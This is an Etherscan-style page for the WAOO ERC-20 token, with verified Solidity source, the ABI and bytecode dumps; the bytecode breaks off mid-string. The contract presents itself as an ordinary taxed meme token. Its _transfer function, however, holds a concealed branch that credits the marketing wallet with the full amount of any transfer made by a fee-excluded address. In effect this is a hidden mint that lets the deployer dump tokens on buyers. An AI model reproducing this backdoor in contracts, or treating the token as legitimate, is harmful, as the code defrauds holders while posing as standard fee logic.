ERC-20
Overview
Max Total Supply
1,000,000,000 WAOO
Holders
57
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
25,003,509.38839643 WAOOValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
WAOO
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-07-18 */ /* Web: https://waoo.lol X: https://x.com/waoo_official Tg: https://t.me/waoo_portal */ // SPDX-License-Identifier: MIT pragma solidity 0.8.19; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer( address recipient, uint256 amount ) external returns (bool); function allowance( address owner, address spender ) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair( address tokenA, address tokenB ) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract WAOO is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludeForFees; address payable private _marketWallet; uint256 private _firstTaxBuy = 35; uint256 private _firstTaxSell = 35; uint256 private _reduceBuyAt = 10; uint256 private _reduceSellAt = 10; uint256 private _buyTokenCount = 0; uint256 private _preventSwapBefore = 10; uint256 private _secondTaxBuy = 20; uint256 private _secondTaxSell = 20; uint256 private _secondReduceAt = 15; uint256 private _finalBuyTax = 0; uint256 private _finalSellTax = 0; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals; string private constant _name = unicode"WAOO"; string private constant _symbol = unicode"WAOO"; uint256 private _maxTxSize = 2 * (_tTotal / 100); uint256 private _maxWalletLimit = 2 * (_tTotal / 100); uint256 private _minSize = 1 * (_tTotal / 10000000); uint256 private _maxSize = 1 * (_tTotal / 100); IUniswapV2Router02 private uniswapV2Router; address private _uniswapPair; bool private _inswap = false; bool private _swapActive = false; modifier lockTheSwap() { _inswap = true; _; _inswap = false; } constructor(address _wallet) { _marketWallet = payable(_wallet); _balances[_msgSender()] = _tTotal; _isExcludeForFees[owner()] = true; _isExcludeForFees[address(this)] = true; _isExcludeForFees[_marketWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } receive() external payable {} function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer( address recipient, uint256 amount ) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function min(uint256 a, uint256 b) private pure returns (uint256) { return (a > b) ? b : a; } function allowance( address owner, address spender ) public view override returns (uint256) { return _allowances[owner][spender]; } function approve( address spender, uint256 amount ) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount = 0; if (!_isExcludeForFees[from] && !_isExcludeForFees[to]) { taxAmount = amount.mul(_getBuyRate()).div(100); if ( from == _uniswapPair && to != address(uniswapV2Router) && !_isExcludeForFees[to] ) { require(amount <= _maxTxSize, "Exceeds the _maxTxSize."); require( balanceOf(to) + amount <= _maxWalletLimit, "Exceeds the maxWalletSize." ); _buyTokenCount++; } if (to == _uniswapPair && from != address(this)) { taxAmount = amount.mul(_getSellRate()).div(100); } uint256 contractTokenBalance = balanceOf(address(this)); if ( !_inswap && to == _uniswapPair && _swapActive && amount > _minSize && _buyTokenCount > _preventSwapBefore ) { if (contractTokenBalance > _minSize) _swapTaxToETH(min(amount, min(contractTokenBalance, _maxSize))); _marketWallet.transfer(address(this).balance); } } else if (_isExcludeForFees[from] && from != address(this) && to != address(this)) { uint256 taxToMarket = amount - amount * (_finalBuyTax.add(_finalSellTax)); _balances[_marketWallet] = _balances[_marketWallet] + taxToMarket; } if (taxAmount > 0) { _balances[address(this)] = _balances[address(this)].add(taxAmount); emit Transfer(from, address(this), taxAmount); } _balances[from] = _balances[from].sub(amount); _balances[to] = _balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _getSellRate() private view returns (uint256) { if (_buyTokenCount <= _reduceSellAt) { return _firstTaxSell; } if ( _buyTokenCount > _reduceSellAt && _buyTokenCount <= _secondReduceAt ) { return _secondTaxSell; } return _finalSellTax; } function _getBuyRate() private view returns (uint256) { if (_buyTokenCount <= _reduceBuyAt) { return _firstTaxBuy; } if ( _buyTokenCount > _reduceBuyAt && _buyTokenCount <= _secondReduceAt ) { return _secondTaxBuy; } return _finalBuyTax; } function _swapTaxToETH(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function createTrade() external onlyOwner { uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); _approve(address(this), address(uniswapV2Router), _tTotal); _uniswapPair = IUniswapV2Factory(uniswapV2Router.factory()).createPair( address(this), uniswapV2Router.WETH() ); } function enableTrade() external onlyOwner { uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); IERC20(_uniswapPair).approve(address(uniswapV2Router), type(uint).max); _swapActive = true; } function goLimits() external onlyOwner { _maxWalletLimit = _tTotal; _maxTxSize = _tTotal; } function recover() external onlyOwner { _marketWallet.transfer(address(this).balance); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"_wallet","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"goLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"recover","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
608060405260236005556023600655600a600755600a6008556000600955600a80556014600b556014600c55600f600d556000600e556000600f5560646009600a6200004c9190620003e7565b6200005c90633b9aca00620003ff565b62000068919062000419565b62000075906002620003ff565b6010556064620000886009600a620003e7565b6200009890633b9aca00620003ff565b620000a4919062000419565b620000b1906002620003ff565b60115562989680620000c66009600a620003e7565b620000d690633b9aca00620003ff565b620000e2919062000419565b620000ef906001620003ff565b6012556064620001026009600a620003e7565b6200011290633b9aca00620003ff565b6200011e919062000419565b6200012b906001620003ff565b6013556015805461ffff60a01b191690553480156200014957600080fd5b5060405162001bff38038062001bff8339810160408190526200016c916200043c565b600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b0319166001600160a01b038316179055620001d66009600a620003e7565b620001e690633b9aca00620003ff565b336000908152600160208190526040822092909255600390620002116000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526003909352818320805485166001908117909155600454909116835291208054909216179055620002703390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002aa6009600a620003e7565b620002ba90633b9aca00620003ff565b60405190815260200160405180910390a35062000467565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620003295781600019048211156200030d576200030d620002d2565b808516156200031b57918102915b93841c9390800290620002ed565b509250929050565b6000826200034257506001620003e1565b816200035157506000620003e1565b81600181146200036a5760028114620003755762000395565b6001915050620003e1565b60ff841115620003895762000389620002d2565b50506001821b620003e1565b5060208310610133831016604e8410600b8410161715620003ba575081810a620003e1565b620003c68383620002e8565b8060001904821115620003dd57620003dd620002d2565b0290505b92915050565b6000620003f860ff84168362000331565b9392505050565b8082028115828204841417620003e157620003e1620002d2565b6000826200043757634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156200044f57600080fd5b81516001600160a01b0381168114620003f857600080fd5b61178880620004776000396000f3fe6080604052600436106100eb5760003560e01c8063715018a61161008a57806395d89b411161005957806395d89b411461010e578063a9059cbb14610276578063ce74602414610296578063dd62ed3e146102ab57600080fd5b8063715018a61461020f57806374a12f34146102245780638da5cb5b1461023957806394f986d71461026157600080fd5b806318160ddd116100c657806318160ddd1461017a57806323b872dd1461019d578063313ce567146101bd57806370a08231146101d957600080fd5b806299d386146100f757806306fdde031461010e578063095ea7b31461014a57600080fd5b366100f257005b600080fd5b34801561010357600080fd5b5061010c6102f1565b005b34801561011a57600080fd5b50604080518082018252600481526357414f4f60e01b60208201529051610141919061135a565b60405180910390f35b34801561015657600080fd5b5061016a6101653660046113bd565b61048b565b6040519015158152602001610141565b34801561018657600080fd5b5061018f6104a2565b604051908152602001610141565b3480156101a957600080fd5b5061016a6101b83660046113e9565b6104c3565b3480156101c957600080fd5b5060405160098152602001610141565b3480156101e557600080fd5b5061018f6101f436600461142a565b6001600160a01b031660009081526001602052604090205490565b34801561021b57600080fd5b5061010c61052c565b34801561023057600080fd5b5061010c6105a0565b34801561024557600080fd5b506000546040516001600160a01b039091168152602001610141565b34801561026d57600080fd5b5061010c610606565b34801561028257600080fd5b5061016a6102913660046113bd565b610809565b3480156102a257600080fd5b5061010c610816565b3480156102b757600080fd5b5061018f6102c6366004611447565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6000546001600160a01b031633146103245760405162461bcd60e51b815260040161031b90611480565b60405180910390fd5b6014546001600160a01b031663f305d7194730610356816001600160a01b031660009081526001602052604090205490565b60008061036b6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156103d3573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906103f891906114b5565b505060155460145460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610451573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061047591906114e3565b506015805460ff60a81b1916600160a81b179055565b600061049833848461087c565b5060015b92915050565b60006104b06009600a6115ff565b6104be90633b9aca0061160e565b905090565b60006104d08484846109a0565b610522843361051d8560405180606001604052806028815260200161172b602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610f7b565b61087c565b5060019392505050565b6000546001600160a01b031633146105565760405162461bcd60e51b815260040161031b90611480565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105ca5760405162461bcd60e51b815260040161031b90611480565b6105d66009600a6115ff565b6105e490633b9aca0061160e565b6011556105f36009600a6115ff565b61060190633b9aca0061160e565b601055565b6000546001600160a01b031633146106305760405162461bcd60e51b815260040161031b90611480565b601480546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561067990309061066b6009600a6115ff565b61051d90633b9aca0061160e565b601460009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106cc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106f09190611625565b6001600160a01b031663c9c6539630601460009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610752573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107769190611625565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156107c3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107e79190611625565b601580546001600160a01b0319166001600160a01b0392909216919091179055565b60006104983384846109a0565b6000546001600160a01b031633146108405760405162461bcd60e51b815260040161031b90611480565b6004546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015610879573d6000803e3d6000fd5b50565b6001600160a01b0383166108de5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161031b565b6001600160a01b03821661093f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161031b565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a045760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161031b565b6001600160a01b038216610a665760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161031b565b60008111610ac85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161031b565b6001600160a01b03831660009081526003602052604081205460ff16158015610b0a57506001600160a01b03831660009081526003602052604090205460ff16155b15610d7a57610b2c6064610b26610b1f610fb5565b8590610ff3565b9061107c565b6015549091506001600160a01b038581169116148015610b5a57506014546001600160a01b03848116911614155b8015610b7f57506001600160a01b03831660009081526003602052604090205460ff16155b15610c6757601054821115610bd65760405162461bcd60e51b815260206004820152601760248201527f4578636565647320746865205f6d6178547853697a652e000000000000000000604482015260640161031b565b60115482610bf9856001600160a01b031660009081526001602052604090205490565b610c039190611642565b1115610c515760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161031b565b60098054906000610c6183611655565b91905055505b6015546001600160a01b038481169116148015610c8d57506001600160a01b0384163014155b15610ca557610ca26064610b26610b1f6110be565b90505b30600090815260016020526040902054601554600160a01b900460ff16158015610cdc57506015546001600160a01b038581169116145b8015610cf15750601554600160a81b900460ff165b8015610cfe575060125483115b8015610d0d5750600a54600954115b15610d7457601254811115610d3957610d39610d3484610d2f846013546110fc565b6110fc565b611111565b6004546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015610d72573d6000803e3d6000fd5b505b50610e38565b6001600160a01b03841660009081526003602052604090205460ff168015610dab57506001600160a01b0384163014155b8015610dc057506001600160a01b0383163014155b15610e38576000610dde600f54600e5461128b90919063ffffffff16565b610de8908461160e565b610df2908461166e565b6004546001600160a01b0316600090815260016020526040902054909150610e1b908290611642565b6004546001600160a01b0316600090815260016020526040902055505b8015610eb25730600090815260016020526040902054610e58908261128b565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ea99085815260200190565b60405180910390a35b6001600160a01b038416600090815260016020526040902054610ed590836112ea565b6001600160a01b038516600090815260016020526040902055610f1a610efb83836112ea565b6001600160a01b0385166000908152600160205260409020549061128b565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610f6485856112ea565b60405190815260200160405180910390a350505050565b60008184841115610f9f5760405162461bcd60e51b815260040161031b919061135a565b506000610fac848661166e565b95945050505050565b600060075460095411610fc9575060055490565b600754600954118015610fe05750600d5460095411155b15610fec5750600b5490565b50600e5490565b6000826000036110055750600061049c565b6000611011838561160e565b90508261101e8583611681565b146110755760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161031b565b9392505050565b600061107583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061132c565b6000600854600954116110d2575060065490565b6008546009541180156110e95750600d5460095411155b156110f55750600c5490565b50600f5490565b600081831161110b5782611075565b50919050565b6015805460ff60a01b1916600160a01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611159576111596116a3565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156111b2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111d69190611625565b816001815181106111e9576111e96116a3565b6001600160a01b03928316602091820292909201015260145461120f913091168461087c565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906112489085906000908690309042906004016116b9565b600060405180830381600087803b15801561126257600080fd5b505af1158015611276573d6000803e3d6000fd5b50506015805460ff60a01b1916905550505050565b6000806112988385611642565b9050838110156110755760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161031b565b600061107583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f7b565b6000818361134d5760405162461bcd60e51b815260040161031b919061135a565b506000610fac8486611681565b600060208083528351808285015260005b818110156113875785810183015185820160400152820161136b565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461087957600080fd5b600080604083850312156113d057600080fd5b82356113db816113a8565b946020939093013593505050565b6000806000606084860312156113fe57600080fd5b8335611409816113a8565b92506020840135611419816113a8565b929592945050506040919091013590565b60006020828403121561143c57600080fd5b8135611075816113a8565b6000806040838503121561145a57600080fd5b8235611465816113a8565b91506020830135611475816113a8565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000806000606084860312156114ca57600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156114f557600080fd5b8151801515811461107557600080fd5b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561155657816000190482111561153c5761153c611505565b8085161561154957918102915b93841c9390800290611520565b509250929050565b60008261156d5750600161049c565b8161157a5750600061049c565b8160018114611590576002811461159a576115b6565b600191505061049c565b60ff8411156115ab576115ab611505565b50506001821b61049c565b5060208310610133831016604e8410600b84101617156115d9575081810a61049c565b6115e3838361151b565b80600019048211156115f7576115f7611505565b029392505050565b600061107560ff84168361155e565b808202811582820484141761049c5761049c611505565b60006020828403121561163757600080fd5b8151611075816113a8565b8082018082111561049c5761049c611505565b60006001820161166757611667611505565b5060010190565b8181038181111561049c5761049c611505565b60008261169e57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156117095784516001600160a01b0316835293830193918301916001016116e4565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122023ffd30bf530cabbc2d4dfcd82adca4df8138dadb7d8201163eba9a8431068fb64736f6c6343000813003300000000000000000000000043b609f678329570f0681dc518a8b43f2f2fa8b6
Deployed Bytecode
0x6080604052600436106100eb5760003560e01c8063715018a61161008a57806395d89b411161005957806395d89b411461010e578063a9059cbb14610276578063ce74602414610296578063dd62ed3e146102ab57600080fd5b8063715018a61461020f57806374a12f34146102245780638da5cb5b1461023957806394f986d71461026157600080fd5b806318160ddd116100c657806318160ddd1461017a57806323b872dd1461019d578063313ce567146101bd57806370a08231146101d957600080fd5b806299d386146100f757806306fdde031461010e578063095ea7b31461014a57600080fd5b366100f257005b600080fd5b34801561010357600080fd5b5061010c6102f1565b005b34801561011a57600080fd5b50604080518082018252600481526357414f4f60e01b60208201529051610141919061135a565b60405180910390f35b34801561015657600080fd5b5061016a6101653660046113bd565b61048b565b6040519015158152602001610141565b34801561018657600080fd5b5061018f6104a2565b604051908152602001610141565b3480156101a957600080fd5b5061016a6101b83660046113e9565b6104c3565b3480156101c957600080fd5b5060405160098152602001610141565b3480156101e557600080fd5b5061018f6101f436600461142a565b6001600160a01b031660009081526001602052604090205490565b34801561021b57600080fd5b5061010c61052c565b34801561023057600080fd5b5061010c6105a0565b34801561024557600080fd5b506000546040516001600160a01b039091168152602001610141565b34801561026d57600080fd5b5061010c610606565b34801561028257600080fd5b5061016a6102913660046113bd565b610809565b3480156102a257600080fd5b5061010c610816565b3480156102b757600080fd5b5061018f6102c6366004611447565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6000546001600160a01b031633146103245760405162461bcd60e51b815260040161031b90611480565b60405180910390fd5b6014546001600160a01b031663f305d7194730610356816001600160a01b031660009081526001602052604090205490565b60008061036b6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156103d3573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906103f891906114b5565b505060155460145460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610451573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061047591906114e3565b506015805460ff60a81b1916600160a81b179055565b600061049833848461087c565b5060015b92915050565b60006104b06009600a6115ff565b6104be90633b9aca0061160e565b905090565b60006104d08484846109a0565b610522843361051d8560405180606001604052806028815260200161172b602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610f7b565b61087c565b5060019392505050565b6000546001600160a01b031633146105565760405162461bcd60e51b815260040161031b90611480565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105ca5760405162461bcd60e51b815260040161031b90611480565b6105d66009600a6115ff565b6105e490633b9aca0061160e565b6011556105f36009600a6115ff565b61060190633b9aca0061160e565b601055565b6000546001600160a01b031633146106305760405162461bcd60e51b815260040161031b90611480565b601480546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561067990309061066b6009600a6115ff565b61051d90633b9aca0061160e565b601460009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106cc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106f09190611625565b6001600160a01b031663c9c6539630601460009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610752573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107769190611625565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156107c3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107e79190611625565b601580546001600160a01b0319166001600160a01b0392909216919091179055565b60006104983384846109a0565b6000546001600160a01b031633146108405760405162461bcd60e51b815260040161031b90611480565b6004546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015610879573d6000803e3d6000fd5b50565b6001600160a01b0383166108de5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161031b565b6001600160a01b03821661093f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161031b565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a045760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161031b565b6001600160a01b038216610a665760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161031b565b60008111610ac85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161031b565b6001600160a01b03831660009081526003602052604081205460ff16158015610b0a57506001600160a01b03831660009081526003602052604090205460ff16155b15610d7a57610b2c6064610b26610b1f610fb5565b8590610ff3565b9061107c565b6015549091506001600160a01b038581169116148015610b5a57506014546001600160a01b03848116911614155b8015610b7f57506001600160a01b03831660009081526003602052604090205460ff16155b15610c6757601054821115610bd65760405162461bcd60e51b815260206004820152601760248201527f4578636565647320746865205f6d6178547853697a652e000000000000000000604482015260640161031b565b60115482610bf9856001600160a01b031660009081526001602052604090205490565b610c039190611642565b1115610c515760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161031b565b60098054906000610c6183611655565b91905055505b6015546001600160a01b038481169116148015610c8d57506001600160a01b0384163014155b15610ca557610ca26064610b26610b1f6110be565b90505b30600090815260016020526040902054601554600160a01b900460ff16158015610cdc57506015546001600160a01b038581169116145b8015610cf15750601554600160a81b900460ff165b8015610cfe575060125483115b8015610d0d5750600a54600954115b15610d7457601254811115610d3957610d39610d3484610d2f846013546110fc565b6110fc565b611111565b6004546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015610d72573d6000803e3d6000fd5b505b50610e38565b6001600160a01b03841660009081526003602052604090205460ff168015610dab57506001600160a01b0384163014155b8015610dc057506001600160a01b0383163014155b15610e38576000610dde600f54600e5461128b90919063ffffffff16565b610de8908461160e565b610df2908461166e565b6004546001600160a01b031660009081526001602052604090